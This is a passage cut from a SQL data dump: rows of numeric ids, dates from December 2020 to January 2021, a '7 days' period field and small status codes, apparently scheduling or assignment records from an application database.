days',0),(36019,10004,6540,7802,357,251,'2020-12-16','7 days',0),(36020,10003,6540,7802,357,251,'2020-12-16','7 days',0),(36021,10002,6540,7802,357,251,'2020-12-16','7 days',0),(36022,9931,6540,7802,357,251,'2020-12-16','7 days',0),(36023,9930,6540,7802,357,251,'2020-12-16','7 days',0),(36024,9929,6540,7802,357,251,'2020-12-16','7 days',0),(36025,9928,6540,7802,357,251,'2020-12-16','7 days',0),(36026,9927,6540,7802,357,251,'2020-12-16','7 days',0),(36027,9926,6540,7802,357,251,'2020-12-16','7 days',0),(36028,9925,6540,7802,357,251,'2020-12-16','7 days',0),(36029,9924,6540,7802,357,251,'2020-12-16','7 days',2),(36030,9923,6540,7802,357,251,'2020-12-16','7 days',1),(36031,9922,6540,7802,357,251,'2020-12-16','7 days',0),(36032,13225,6253,7400,162,73,'2020-12-16','7 days',1),(36033,12513,6800,8061,1393,86,'2020-12-16','7 days',0),(36034,10684,6800,8061,1393,86,'2020-12-16','7 days',1),(36035,9718,6800,8061,1393,86,'2020-12-16','7 days',0),(36036,9005,6800,8061,1393,86,'2020-12-16','7 days',0),(36037,8997,6800,8061,1393,86,'2020-12-16','7 days',0),(36045,15676,6908,8175,194,45,'2020-12-17','7 days',1),(36046,15675,6908,8175,194,45,'2020-12-17','7 days',1),(36182,15397,6755,8009,1456,667,'2020-12-17','7 days',1),(36183,15396,6755,8009,1456,667,'2020-12-17','7 days',0),(36184,15187,6755,8009,1456,667,'2020-12-17','7 days',0),(36185,15186,6755,8009,1456,667,'2020-12-17','7 days',1),(36186,15185,6755,8009,1456,667,'2020-12-17','7 days',0),(36187,15399,6880,7951,1456,667,'2020-12-17','7 days',0),(36188,15398,6880,7951,1456,667,'2020-12-17','7 days',1),(36189,15397,6880,7951,1456,667,'2020-12-17','7 days',1),(36190,15396,6880,7951,1456,667,'2020-12-17','7 days',0),(36196,7021,6865,8129,1011,91,'2020-12-17','7 days',1),(36197,7207,6752,8006,1245,91,'2020-12-17','7 days',2),(36198,7206,6752,8006,1245,91,'2020-12-17','7 days',1),(36201,14888,6227,7474,1245,91,'2020-12-17','7 days',0),(36202,14887,6227,7474,1245,91,'2020-12-17','7 days',0),(36203,14886,6227,7474,1245,91,'2020-12-17','7 days',0),(36204,14885,6227,7474,1245,91,'2020-12-17','7 days',2),(36205,7211,6139,7374,1245,91,'2020-12-17','7 days',0),(36206,7210,6139,7374,1245,91,'2020-12-17','7 days',0),(36207,7209,6139,7374,1245,91,'2020-12-17','7 days',2),(36208,7208,6139,7374,1245,91,'2020-12-17','7 days',2),(36270,11354,6880,7951,1456,667,'2020-12-18','7 days',1),(36271,11351,6880,7951,1456,667,'2020-12-18','7 days',0),(36272,15179,6755,8009,1456,667,'2020-12-18','7 days',0),(36273,15178,6755,8009,1456,667,'2020-12-18','7 days',0),(36274,15177,6755,8009,1456,667,'2020-12-18','7 days',0),(36275,15176,6755,8009,1456,667,'2020-12-18','7 days',2),(36276,14805,6755,8009,1456,667,'2020-12-18','7 days',1),(36333,15707,6751,8004,194,45,'2020-12-18','7 days',0),(36338,13913,6681,7937,194,45,'2020-12-18','7 days',1),(36339,5467,6681,7937,194,45,'2020-12-18','7 days',1),(36340,11714,6681,7937,194,45,'2020-12-18','7 days',1),(36346,11520,6663,7921,194,45,'2020-12-18','7 days',1),(36347,11519,6663,7921,194,45,'2020-12-18','7 days',1),(36348,1358,6663,7921,194,45,'2020-12-18','7 days',0),(36349,5467,6663,7921,194,45,'2020-12-18','7 days',1),(36369,15707,6910,8177,194,45,'2020-12-18','7 days',0),(36370,15707,6886,8151,194,45,'2020-12-18','7 days',0),(36400,9111,6466,7735,359,251,'2020-12-19','7 days',1),(36401,9110,6466,7735,359,251,'2020-12-19','7 days',0),(36402,9109,6466,7735,359,251,'2020-12-19','7 days',0),(36403,9108,6466,7735,359,251,'2020-12-19','7 days',0),(36404,9107,6466,7735,359,251,'2020-12-19','7 days',0),(36406,5409,6915,8183,359,251,'2020-12-19','7 days',0),(36407,5408,6915,8183,359,251,'2020-12-19','7 days',0),(36408,5407,6915,8183,359,251,'2020-12-19','7 days',0),(36409,5406,6915,8183,359,251,'2020-12-19','7 days',0),(36410,5405,6915,8183,359,251,'2020-12-19','7 days',0),(36411,5404,6915,8183,359,251,'2020-12-19','7 days',0),(36412,4275,6915,8183,359,251,'2020-12-19','7 days',0),(36413,4274,6915,8183,359,251,'2020-12-19','7 days',0),(36434,9004,6707,7962,1394,86,'2020-12-19','7 days',0),(36435,9003,6707,7962,1394,86,'2020-12-19','7 days',0),(36455,14534,6944,8213,194,45,'2020-12-21','7 days',1),(36456,12532,6944,8213,194,45,'2020-12-21','7 days',1),(36457,11715,6944,8213,194,45,'2020-12-21','7 days',1),(36458,5467,6944,8213,194,45,'2020-12-21','7 days',1),(36459,14685,6934,8204,194,45,'2020-12-21','7 days',1),(36460,14684,6934,8204,194,45,'2020-12-21','7 days',1),(36461,13913,6934,8204,194,45,'2020-12-21','7 days',1),(36462,11689,6934,8204,194,45,'2020-12-21','7 days',1),(36463,11162,6934,8204,194,45,'2020-12-21','7 days',1),(36487,14900,6929,8200,222,85,'2020-12-21','7 days',0),(36488,14899,6929,8200,222,85,'2020-12-21','7 days',1),(36489,14898,6929,8200,222,85,'2020-12-21','7 days',0),(36490,14897,6929,8200,222,85,'2020-12-21','7 days',0),(36491,14896,6929,8200,222,85,'2020-12-21','7 days',2),(36492,14895,6929,8200,222,85,'2020-12-21','7 days',0),(36493,14894,6929,8200,222,85,'2020-12-21','7 days',0),(36494,14893,6929,8200,222,85,'2020-12-21','7 days',1),(36495,14892,6929,8200,222,85,'2020-12-21','7 days',2),(36496,14891,6929,8200,222,85,'2020-12-21','7 days',0),(36510,5467,6887,498,194,45,'2020-12-21','7 days',1),(36531,12531,6944,8213,194,45,'2020-12-22','7 days',1),(36532,15676,6944,8213,194,45,'2020-12-22','7 days',1),(36533,15675,6944,8213,194,45,'2020-12-22','7 days',1),(36534,11845,6934,8204,194,45,'2020-12-22','7 days',1),(36535,11520,6934,8204,194,45,'2020-12-22','7 days',1),(36536,11519,6934,8204,194,45,'2020-12-22','7 days',1),(36537,11299,6934,8204,194,45,'2020-12-22','7 days',2),(36538,11298,6934,8204,194,45,'2020-12-22','7 days',0),(36539,2238,6934,8204,194,45,'2020-12-22','7 days',0),(36547,15663,6860,8126,1410,975,'2020-12-22','7 days',1),(36552,15676,6934,8204,194,45,'2020-12-23','7 days',1),(36553,15675,6934,8204,194,45,'2020-12-23','7 days',1),(36555,13225,6502,7770,160,73,'2020-12-23','7 days',1),(36572,673,6909,8176,160,73,'2020-12-23','7 days',0),(36573,667,6909,8176,160,73,'2020-12-23','7 days',1),(36574,666,6909,8176,160,73,'2020-12-23','7 days',0),(36575,8782,6909,8176,160,73,'2020-12-23','7 days',1),(36576,651,6909,8176,160,73,'2020-12-23','7 days',0),(36602,15629,6964,8235,1251,86,'2020-12-24','7 days',0),(36603,15628,6964,8235,1251,86,'2020-12-24','7 days',0),(36604,15627,6964,8235,1251,86,'2020-12-24','7 days',1),(36605,15353,6964,8235,1251,86,'2020-12-24','7 days',2),(36606,12303,6964,8235,1251,86,'2020-12-24','7 days',0),(36607,12297,6964,8235,1251,86,'2020-12-24','7 days',0),(36608,12296,6964,8235,1251,86,'2020-12-24','7 days',0),(36609,11969,6964,8235,1251,86,'2020-12-24','7 days',0),(36610,11962,6964,8235,1251,86,'2020-12-24','7 days',0),(36611,11961,6964,8235,1251,86,'2020-12-24','7 days',0),(36612,11954,6964,8235,1251,86,'2020-12-24','7 days',1),(36613,11951,6964,8235,1251,86,'2020-12-24','7 days',0),(36614,11949,6964,8235,1251,86,'2020-12-24','7 days',2),(36645,7020,6953,8223,1245,91,'2020-12-26','7 days',0),(36646,9135,6959,8229,1452,91,'2020-12-26','7 days',1),(36647,9134,6959,8229,1452,91,'2020-12-26','7 days',1),(36648,9133,6959,8229,1452,91,'2020-12-26','7 days',1),(36654,14994,6800,8061,1393,86,'2020-12-28','7 days',1),(36667,15746,6843,6984,1235,277,'2020-12-29','7 days',1),(36686,15676,6989,8260,194,45,'2020-12-29','7 days',1),(36687,15675,6989,8260,194,45,'2020-12-29','7 days',1),(36688,15676,6979,8251,194,45,'2020-12-29','7 days',1),(36689,15675,6979,8251,194,45,'2020-12-29','7 days',1),(36757,15660,6973,8245,1456,667,'2020-12-30','7 days',1),(36758,15659,6973,8245,1456,667,'2020-12-30','7 days',0),(36759,15658,6973,8245,1456,667,'2020-12-30','7 days',0),(36760,15676,6996,8268,194,45,'2020-12-30','7 days',1),(36761,15675,6996,8268,194,45,'2020-12-30','7 days',1),(36776,8784,7009,8282,160,73,'2020-12-30','7 days',1),(36777,8783,7009,8282,160,73,'2020-12-30','7 days',0),(36778,656,7009,8282,160,73,'2020-12-30','7 days',0),(36779,653,7009,8282,160,73,'2020-12-30','7 days',0),(36869,12022,6960,6984,1235,277,'2020-12-31','7 days',1),(36870,11844,6960,6984,1235,277,'2020-12-31','7 days',0),(36871,11659,6960,6984,1235,277,'2020-12-31','7 days',0),(36872,11450,6960,6984,1235,277,'2020-12-31','7 days',0),(36873,11449,6960,6984,1235,277,'2020-12-31','7 days',0),(36875,9905,6999,6984,1235,277,'2021-01-01','7 days',0),(36876,9904,6999,6984,1235,277,'2021-01-01','7 days',0),(36877,9903,6999,6984,1235,277,'2021-01-01','7 days',0),(36878,9902,6999,6984,1235,277,'2021-01-01','7 days',1),(36891,14805,6973,8245,1456,667,'2021-01-01','7 days',1),(36892,14767,6973,8245,1456,667,'2021-01-01','7 days',0),(36893,14766,6973,8245,1456,667,'2021-01-01','7 days',0),(36894,14765,6973,8245,1456,667,'2021-01-01','7 days',1),(36895,14764,6973,8245,1456,667,'2021-01-01','7 days',2),(36896,11355,6973,8245,1456,667,'2021-01-01','7 days',1),(36897,11354,6973,8245,1456,667,'2021-01-01','7 days',1),(36898,11352,6973,8245,1456,667,'2021-01-01','7 days',0),(36899,11351,6973,8245,1456,667,'2021-01-01','7 days',0),(36929,11360,6973,8245,1456,667,'2021-01-02','7 days',0),(36930,11359,6973,8245,1456,667,'2021-01-02','7 days',0),(36931,11357,6973,8245,1456,667,'2021-01-02','7 days',0),(36932,11356,6973,8245,1456,667,'2021-01-02','7 days',0),(36933,15399,6973,8245,1456,667,'2021-01-02','7 days',0),(36934,15398,6973,8245,1456,667,'2021-01-02','7 days',1),(36935,15650,6973,8245,1456,667,'2021-01-02','7 days',0),(36936,15647,6973,8245,1456,667,'2021-01-02','7 days',0),(36937,15436,6973,8245,1456,667,'2021-01-02','7 days',0),(36938,15434,6973,8245,1456,667,'2021-01-02','7 days',0),(36939,14828,6973,8245,1456,667,'2021-01-02','7 days',0),(36972,5409,6549,4286,358,251,'2021-01-04','7 days',2),(36973,5408,6549,4286,358,251,'2021-01-04','7 days',0),(36974,5407,6549,4286,358,251,'2021-01-04','7 days',0),(36975,5406,6549,4286,358,251,'2021-01-04','7 days',0),(36976,5405,6549,4286,358,251,'2021-01-04','7 days',0),(36977,5404,6549,4286,358,251,'2021-01-04','7 days',0),(36978,4275,6549,4286,358,251,'2021-01-04','7 days',0),(36979,4274,6549,4286,358,251,'2021-01-04','7 days',0),(36981,15429,6973,8245,1456,667,'2021-01-04','7 days',0),(36982,15428,6973,8245,1456,667,'2021-01-04','7 days',0),(36983,15427,6973,8245,1456,667,'2021-01-04','7 days',0),(36984,15426,6973,8245,1456,667,'2021-01-04','7 days',0),(36985,14771,6973,8245,1456,667,'2021-01-04','7 days',0),(36986,14770,6973,8245,1456,667,'2021-01-04','7 days',0),(36987,14769,6973,8245,1456,667,'2021-01-04','7 days',0),(36988,14768,6973,8245,1456,667,'2021-01-04','7 days',2),(36994,670,6824,8089,161,73,'2021-01-04','7 days',0),(36995,660,6824,8089,161,73,'2021-01-04','7 days',0),(36997,14836,6973,8245,1456,667,'2021-01-04','7 days',0),(36998,14835,6973,8245,1456,667,'2021-01-04','7 days',0),(36999,14830,6973,8245,1456,667,'2021-01-04','7 days',0),(37000,14829,6973,8245,1456,667,'2021-01-04','7 days',0),(37001,14810,6973,8245,1456,667,'2021-01-04','7 days',0),(37002,14809,6973,8245,1456,667,'2021-01-04','7 days',0),(37003,14808,6973,8245,1456,667,'2021-01-04','7 days',0),(37004,14807,6973,8245,1456,667,'2021-01-04','7 days',0),(37027,15746,6971,6984,1235,277,'2021-01-05','7 days',1),(37033,5409,6984,8254,358,251,'2021-01-05','7 days',0),(37034,5408,6984,8254,358,251,'2021-01-05','7 days',0),(37035,5407,6984,8254,358,251,'2021-01-05','7 days',0),(37036,5406,6984,8254,358,251,'2021-01-05','7 days',0),(37037,5405,6984,8254,358,251,'2021-01-05','7 days',0),(37038,5404,6984,8254,358,251,'2021-01-05','7 days',0),(37039,4275,6984,8254,358,251,'2021-01-05','7 days',0),(37040,4274,6984,8254,358,251,'2021-01-05','7 days',0),(37041,14685,7022,8297,194,45,'2021-01-05','7 days',1),(37042,14684,7022,8297,194,45,'2021-01-05','7 days',1),(37043,13913,7022,8297,194,45,'2021-01-05','7 days',1),(37044,12562,7022,8297,194,45,'2021-01-05','7 days',1),(37045,11689,7022,8297,194,45,'2021-01-05','7 days',1),(37046,14685,7014,8289,194,45,'2021-01-05','7 days',1),(37047,14684,7014,8289,194,45,'2021-01-05','7 days',1),(37048,13913,7014,8289,194,45,'2021-01-05','7 days',1),(37049,11689,7014,8289,194,45,'2021-01-05','7 days',1),(37050,13180,6875,7181,1410,975,'2021-01-06','7 days',1),(37051,12972,6875,7181,1410,975,'2021-01-06','7 days',1),(37058,15397,6973,8245,1456,667,'2021-01-06','7 days',1),(37059,15396,6973,8245,1456,667,'2021-01-06','7 days',0),(37060,15187,6973,8245,1456,667,'2021-01-06','7 days',0),(37061,15186,6973,8245,1456,667,'2021-01-06','7 days',1),(37062,15185,6973,8245,1456,667,'2021-01-06','7 days',0),(37063,15184,6973,8245,1456,667,'2021-01-06','7 days',0),(37064,14827,6973,8245,1456,667,'2021-01-06','7 days',0),(37065,14826,6973,8245,1456,667,'2021-01-06','7 days',0),(37066,14825,6973,8245,1456,667,'2021-01-06','7 days',0),(37102,13913,7062,8333,194,45,'2021-01-07','7 days',1),(37103,12532,7062,8333,194,45,'2021-01-07','7 days',1),(37104,12531,7062,8333,194,45,'2021-01-07','7 days',1),(37105,11715,7062,8333,194,45,'2021-01-07','7 days',1),(37106,10975,7062,8333,194,45,'2021-01-07','7 days',1),(37107,5467,7062,8333,194,45,'2021-01-07','7 days',1),(37112,12274,6959,8229,1452,91,'2021-01-07','7 days',1),(37113,12273,6959,8229,1452,91,'2021-01-07','7 days',1),(37114,12264,6959,8229,1452,91,'2021-01-07','7 days',1),(37115,12263,6959,8229,1452,91,'2021-01-07','7 days',1),(37116,9154,6953,8223,1245,91,'2021-01-07','7 days',1),(37117,9135,6953,8223,1245,91,'2021-01-07','7 days',1),(37118,9134,6953,8223,1245,91,'2021-01-07','7 days',1),(37119,9133,6953,8223,1245,91,'2021-01-07','7 days',1),(37120,7286,6953,8223,1245,91,'2021-01-07','7 days',1),(37121,15399,7063,7951,1456,667,'2021-01-07','7 days',0),(37122,15398,7063,7951,1456,667,'2021-01-07','7 days',1),(37123,15397,7063,7951,1456,667,'2021-01-07','7 days',1),(37124,15396,7063,7951,1456,667,'2021-01-07','7 days',0),(37125,14805,7063,7951,1456,667,'2021-01-07','7 days',0),(37126,14764,7063,7951,1456,667,'2021-01-07','7 days',2),(37130,11360,7063,7951,1456,667,'2021-01-08','7 days',0),(37131,11359,7063,7951,1456,667,'2021-01-08','7 days',0),(37132,11357,7063,7951,1456,667,'2021-01-08','7 days',0),(37133,11356,7063,7951,1456,667,'2021-01-08','7 days',0),(37134,11355,7063,7951,1456,667,'2021-01-08','7 days',1),(37135,11354,7063,7951,1456,667,'2021-01-08','7 days',1),(37136,11351,7063,7951,1456,667,'2021-01-08','7 days',0),(37137,15746,7069,6984,1235,277,'2021-01-08','7 days',1),(37138,13342,7030,8307,1291,86,'2021-01-08','7 days',0),(37139,13340,7030,8307,1291,86,'2021-01-08','7 days',1),(37140,15826,7030,8307,1291,86,'2021-01-08','7 days',1),(37196,14051,7067,8335,1067,326,'2021-01-08','7 days',0),(37197,12897,7067,8335,1067,326,'2021-01-08','7 days',0),(37198,12875,7067,8335,1067,326,'2021-01-08','7 days',1),(37199,9797,7067,8335,1067,326,'2021-01-08','7 days',0),(37200,7415,7067,8335,1067,326,'2021-01-08','7 days',1),(37232,15183,7063,7951,1456,667,'2021-01-09','7 days',1),(37233,15182,7063,7951,1456,667,'2021-01-09','7 days',1),(37234,15181,7063,7951,1456,667,'2021-01-09','7 days',2),(37235,15180,7063,7951,1456,667,'2021-01-09','7 days',0),(37236,15179,7063,7951,1456,667,'2021-01-09','7 days',0),(37237,15187,7063,7951,1456,667,'2021-01-09','7 days',0),(37238,15186,7063,7951,1456,667,'2021-01-09','7 days',1),(37239,15185,7063,7951,1456,667,'2021-01-09','7 days',0),(37240,15184,7063,7951,1456,667,'2021-01-09','7 days',0),(37248,9936,7073,8339,359,251,'2021-01-09','7 days',0),(37249,9935,7073,8339,359,251,'2021-01-09','7 days',2),(37250,9934,7073,8339,359,251,'2021-01-09','7 days',0),(37251,9933,7073,8339,359,251,'2021-01-09','7 days',0),(37252,9932,7073,8339,359,251,'2021-01-09','7 days',1),(37253,9034,7073,8339,359,251,'2021-01-09','7 days',2),(37254,9033,7073,8339,359,251,'2021-01-09','7 days',0),(37255,9032,7073,8339,359,251,'2021-01-09','7 days',0),(37256,9031,7073,8339,359,251,'2021-01-09','7 days',0),(37257,9030,7073,8339,359,251,'2021-01-09','7 days',0),(37258,9029,7073,8339,359,251,'2021-01-09','7 days',0),(37259,9028,7073,8339,359,251,'2021-01-09','7 days',0),(37260,9027,7073,8339,359,251,'2021-01-09','7 days',0),(37261,9026,7073,8339,359,251,'2021-01-09','7 days',0),(37262,9025,7073,8339,359,251,'2021-01-09','7 days',0),(37263,9024,7073,8339,359,251,'2021-01-09','7 days',0),(37264,9023,7073,8339,359,251,'2021-01-09','7 days',0),(37265,9022,7073,8339,359,251,'2021-01-09','7 days',0),(37266,9021,7073,8339,359,251,'2021-01-09','7 days',0),(37267,6894,7073,8339,359,251,'2021-01-09','7 days',0),(37268,6893,7073,8339,359,251,'2021-01-09','7 days',0),(37269,6892,7073,8339,359,251,'2021-01-09','7 days',0),(37270,6891,7073,8339,359,251,'2021-01-09','7 days',0),(37271,6890,7073,8339,359,251,'2021-01-09','7 days',0),(37272,6889,7073,8339,359,251,'2021-01-09','7 days',0),(37273,6888,7073,8339,359,251,'2021-01-09','7 days',0),(37274,6887,7073,8339,359,251,'2021-01-09','7 days',1),(37275,13180,7050,8320,1410,975,'2021-01-11','7 days',1),(37276,12972,7050,8320,1410,975,'2021-01-11','7 days',1),(37277,15663,7050,8320,1410,975,'2021-01-11','7 days',1),(37278,15423,7029,8305,203,86,'2021-01-11','7 days',0),(37279,15422,7029,8305,203,86,'2021-01-11','7 days',0),(37280,15421,7029,8305,203,86,'2021-01-11','7 days',0),(37281,15420,7029,8305,203,86,'2021-01-11','7 days',0),(37282,15419,7029,8305,203,86,'2021-01-11','7 days',0),(37283,15418,7029,8305,203,86,'2021-01-11','7 days',0),(37284,15417,7029,8305,203,86,'2021-01-11','7 days',0),(37285,15416,7029,8305,203,86,'2021-01-11','7 days',0),(37289,15854,7070,6984,1235,277,'2021-01-11','7 days',0),(37290,15856,7070,6984,1235,277,'2021-01-11','7 days',0),(37291,15861,7070,6984,1235,277,'2021-01-11','7 days',0),(37292,15860,7070,6984,1235,277,'2021-01-11','7 days',0),(37293,15859,7070,6984,1235,277,'2021-01-11','7 days',1),(37294,15858,7070,6984,1235,277,'2021-01-11','7 days',0),(37295,15857,7070,6984,1235,277,'2021-01-11','7 days',1),(37307,13913,7080,8346,194,45,'2021-01-11','7 days',1),(37308,11689,7080,8346,194,45,'2021-01-11','7 days',1),(37331,15676,7077,8264,194,45,'2021-01-11','7 days',1),(37332,15675,7077,8264,194,45,'2021-01-11','7 days',1),(37333,12532,7077,8264,194,45,'2021-01-11','7 days',1),(37334,12531,7077,8264,194,45,'2021-01-11','7 days',1),(37335,11715,7077,8264,194,45,'2021-01-11','7 days',1),(37336,11714,7077,8264,194,45,'2021-01-11','7 days',1),(37337,5467,7077,8264,194,45,'2021-01-11','7 days',1),(37429,15571,6784,8044,1343,86,'2021-01-12','7 days',0),(37445,4516,7084,8350,633,639,'2021-01-12','7 days',1),(37446,4499,7084,8350,633,639,'2021-01-12','7 days',0),(37447,4460,7084,8350,633,639,'2021-01-12','7 days',0),(37457,15372,6964,8235,1251,86,'2021-01-12','7 days',2),(37458,15360,6964,8235,1251,86,'2021-01-12','7 days',0),(37459,15359,6964,8235,1251,86,'2021-01-12','7 days',2),(37460,15350,6964,8235,1251,86,'2021-01-12','7 days',0),(37461,15349,6964,8235,1251,86,'2021-01-12','7 days',0),(37462,12786,6964,8235,1251,86,'2021-01-12','7 days',0),(37463,12359,6964,8235,1251,86,'2021-01-12','7 days',0),(37464,12299,6964,8235,1251,86,'2021-01-12','7 days',2),(37465,15589,6851,8116,1343,86,'2021-01-12','7 days',1),(37466,15588,6851,8116,1343,86,'2021-01-12','7 days',1),(37467,15587,6851,8116,1343,86,'2021-01-12','7 days',0),(37468,15586,6851,8116,1343,86,'2021-01-12','7 days',1),(37469,15585,6851,8116,1343,86,'2021-01-12','7 days',0),(37470,9003,6851,8116,1343,86,'2021-01-12','7 days',0),(37471,9002,6851,8116,1343,86,'2021-01-12','7 days',1),(37472,9000,6851,8116,1343,86,'2021-01-12','7 days',1),(37473,8999,6851,8116,1343,86,'2021-01-12','7 days',0),(37474,15645,6848,8042,1574,86,'2021-01-12','7 days',1),(37475,15826,6848,8042,1574,86,'2021-01-12','7 days',1),(37476,14845,6800,8061,1393,86,'2021-01-12','7 days',0),(37477,14844,6800,8061,1393,86,'2021-01-12','7 days',0),(37478,14843,6800,8061,1393,86,'2021-01-12','7 days',0),(37479,13927,6800,8061,1393,86,'2021-01-12','7 days',0),(37480,13926,6800,8061,1393,86,'2021-01-12','7 days',0),(37481,13925,6800,8061,1393,86,'2021-01-12','7 days',1),(37482,13924,6800,8061,1393,86,'2021-01-12','7 days',0),(37483,13920,6800,8061,1393,86,'2021-01-12','7 days',0),(37484,6243,7030,8307,1291,86,'2021-01-12','7 days',2),(37485,6241,7030,8307,1291,86,'2021-01-12','7 days',0),(37486,9005,7030,8307,1291,86,'2021-01-12','7 days',0),(37487,8997,7030,8307,1291,86,'2021-01-12','7 days',0),(37488,15368,7029,8305,203,86,'2021-01-12','7 days',2),(37489,15367,7029,8305,203,86,'2021-01-12','7 days',1),(37490,15366,7029,8305,203,86,'2021-01-12','7 days',2),(37491,15365,7029,8305,203,86,'2021-01-12','7 days',0),(37492,15364,7029,8305,203,86,'2021-01-12','7 days',2),(37493,15363,7029,8305,203,86,'2021-01-12','7 days',1),(37494,14443,7029,8305,203,86,'2021-01-12','7 days',0),(37495,14442,7029,8305,203,86,'2021-01-12','7 days',0),(37496,12875,7086,8352,1067,326,'2021-01-12','7 days',1),(37497,7415,7086,8352,1067,326,'2021-01-12','7 days',1),(37498,9797,7086,8352,1067,326,'2021-01-12','7 days',0),(37499,9796,7086,8352,1067,326,'2021-01-12','7 days',0),(37500,9795,7086,8352,1067,326,'2021-01-12','7 days',0),(37501,9720,7086,8352,1067,326,'2021-01-12','7 days',1),(37522,15676,7093,8361,194,45,'2021-01-13','7 days',1),(37523,15675,7093,8361,194,45,'2021-01-13','7 days',1),(37524,9651,7093,8361,194,45,'2021-01-13','7 days',0),(37525,11845,7093,8361,194,45,'2021-01-13','7 days',1),(37526,11520,7093,8361,194,45,'2021-01-13','7 days',1),(37527,11519,7093,8361,194,45,'2021-01-13','7 days',1),(37528,15707,7091,8358,194,45,'2021-01-13','7 days',0),(37529,12900,7091,8358,194,45,'2021-01-13','7 days',0),(37530,12776,7091,8358,194,45,'2021-01-13','7 days',1),(37531,12597,7091,8358,194,45,'2021-01-13','7 days',2),(37552,9650,7089,8357,194,45,'2021-01-13','7 days',0),(37553,15740,7089,8357,194,45,'2021-01-13','7 days',1),(37554,15738,7089,8357,194,45,'2021-01-13','7 days',2),(37555,15735,7089,8357,194,45,'2021-01-13','7 days',2),(37556,15733,7089,8357,194,45,'2021-01-13','7 days',1),(37557,15732,7089,8357,194,45,'2021-01-13','7 days',0),(37558,15731,7089,8357,194,45,'2021-01-13','7 days',0),(37559,15729,7089,8357,194,45,'2021-01-13','7 days',0),(37560,15741,7089,8357,194,45,'2021-01-13','7 days',1),(37561,15976,7030,8307,1291,86,'2021-01-13','7 days',0),(37562,15974,7030,8307,1291,86,'2021-01-13','7 days',0),(37563,15973,7030,8307,1291,86,'2021-01-13','7 days',2),(37564,15972,7030,8307,1291,86,'2021-01-13','7 days',0),(37565,15423,7030,8307,1291,86,'2021-01-13','7 days',2),(37566,15422,7030,8307,1291,86,'2021-01-13','7 days',0),(37567,15421,7030,8307,1291,86,'2021-01-13','7 days',0),(37568,15420,7030,8307,1291,86,'2021-01-13','7 days',0),(37569,15419,7030,8307,1291,86,'2021-01-13','7 days',0),(37570,15418,7030,8307,1291,86,'2021-01-13','7 days',0),(37571,15417,7030,8307,1291,86,'2021-01-13','7 days',0),(37572,15416,7030,8307,1291,86,'2021-01-13','7 days',0),(37643,15676,7091,8358,194,45,'2021-01-15','7 days',1),(37644,15675,7091,8358,194,45,'2021-01-15','7 days',1),(37645,11520,7091,8358,194,45,'2021-01-15','7 days',1),(37646,11519,7091,8358,194,45,'2021-01-15','7 days',1),(37647,11520,7089,8357,194,45,'2021-01-15','7 days',1),(37648,11519,7089,8357,194,45,'2021-01-15','7 days',1),(37683,15676,7098,8366,194,45,'2021-01-18','7 days',1),(37684,15675,7098,8366,194,45,'2021-01-18','7 days',1),(37685,11520,7098,8366,194,45,'2021-01-18','7 days',1),(37686,11519,7098,8366,194,45,'2021-01-18','7 days',1),(37687,15676,7102,8371,194,45,'2021-01-18','7 days',1),(37688,15675,7102,8371,194,45,'2021-01-18','7 days',1),(37689,12532,7102,8371,194,45,'2021-01-18','7 days',1),(37690,5467,7102,8371,194,45,'2021-01-18','7 days',1),(37691,11520,7102,8371,194,45,'2021-01-18','7 days',1),(37692,11519,7102,8371,194,45,'2021-01-18','7 days',1),(37699,15599,6849,8114,1406,971,'2021-01-18','7 days',2),(37700,15462,6849,8114,1406,971,'2021-01-18','7 days',0),(37701,16023,6929,8200,222,85,'2021-01-18','7 days',1),(37702,16022,6929,8200,222,85,'2021-01-18','7 days',2),(37703,16021,6929,8200,222,85,'2021-01-18','7 days',0),(37704,16020,6929,8200,222,85,'2021-01-18','7 days',0),(37705,16019,6929,8200,222,85,'2021-01-18','7 days',0),(37706,16018,6929,8200,222,85,'2021-01-18','7 days',0),(37707,16017,6929,8200,222,85,'2021-01-18','7 days',0),(37708,16016,6929,8200,222,85,'2021-01-18','7 days',0),(37709,16015,6929,8200,222,85,'2021-01-18','7 days',0),(37710,16014,6929,8200,222,85,'2021-01-18','7 days',0),(37711,16013,6929,8200,222,85,'2021-01-18','7 days',0),(37712,16012,6929,8200,222,85,'2021-01-18','7 days',0),(37713,16011,6929,8200,222,85,'2021-01-18','7 days',0),(37714,16010,6929,8200,222,85,'2021-01-18','7 days',0),(37715,16009,6929,8200,222,85,'2021-01-18','7 days',0),(37716,16008,6929,8200,222,85,'2021-01-18','7 days',0),(37717,16007,6929,8200,222,85,'2021-01-18','7 days',0),(37718,16006,6929,8200,222,85,'2021-01-18','7 days',0),(37719,16005,6929,8200,222,85,'2021-01-18','7 days',0),(37720,16023,6237,7485,222,85,'2021-01-18','7 days',1),(37721,16022,6237,7485,222,85,'2021-01-18','7 days',2),(37722,16021,6237,7485,222,85,'2021-01-18','7 days',0),(37723,16020,6237,7485,222,85,'2021-01-18','7 days',0),(37724,16019,6237,7485,222,85,'2021-01-18','7 days',0),(37725,16018,6237,7485,222,85,'2021-01-18','7 days',0),(37726,16017,6237,7485,222,85,'2021-01-18','7 days',0),(37727,16016,6237,7485,222,85,'2021-01-18','7 days',1),(37728,16015,6237,7485,222,85,'2021-01-18','7 days',0),(37729,16014,6237,7485,222,85,'2021-01-18','7 days',0),(37730,16013,6237,7485,222,85,'2021-01-18','7 days',0),(37731,16012,6237,7485,222,85,'2021-01-18','7 days',0),(37732,16011,6237,7485,222,85,'2021-01-18','7 days',0),(37733,16010,6237,7485,222,85,'2021-01-18','7 days',0),(37734,16009,6237,7485,222,85,'2021-01-18','7 days',0),(37735,16008,6237,7485,222,85,'2021-01-18','7 days',0),(37736,16007,6237,7485,222,85,'2021-01-18','7 days',0),(37749,16024,6848,8042,1574,86,'2021-01-18','7 days',0),(37750,15586,6848,8042,1574,86,'2021-01-18','7 days',1),(37751,8997,6848,8042,1574,86,'2021-01-18','7 days',0),(37752,8784,6986,8256,161,73,'2021-01-18','7 days',1),(37753,8783,6986,8256,161,73,'2021-01-18','7 days',0),(37754,656,6986,8256,161,73,'2021-01-18','7 days',0),(37755,653,6986,8256,161,73,'2021-01-18','7 days',0),(37756,11845,7111,8380,194,45,'2021-01-18','7 days',1),(37757,11578,7111,8380,194,45,'2021-01-18','7 days',1),(37758,11520,7111,8380,194,45,'2021-01-18','7 days',1),(37759,11519,7111,8380,194,45,'2021-01-18','7 days',1),(37760,2238,7111,8380,194,45,'2021-01-18','7 days',0),(37857,8784,6914,8182,161,73,'2021-01-18','7 days',1),(37858,8783,6914,8182,161,73,'2021-01-18','7 days',0),(37859,656,6914,8182,161,73,'2021-01-18','7 days',0),(37860,653,6914,8182,161,73,'2021-01-18','7 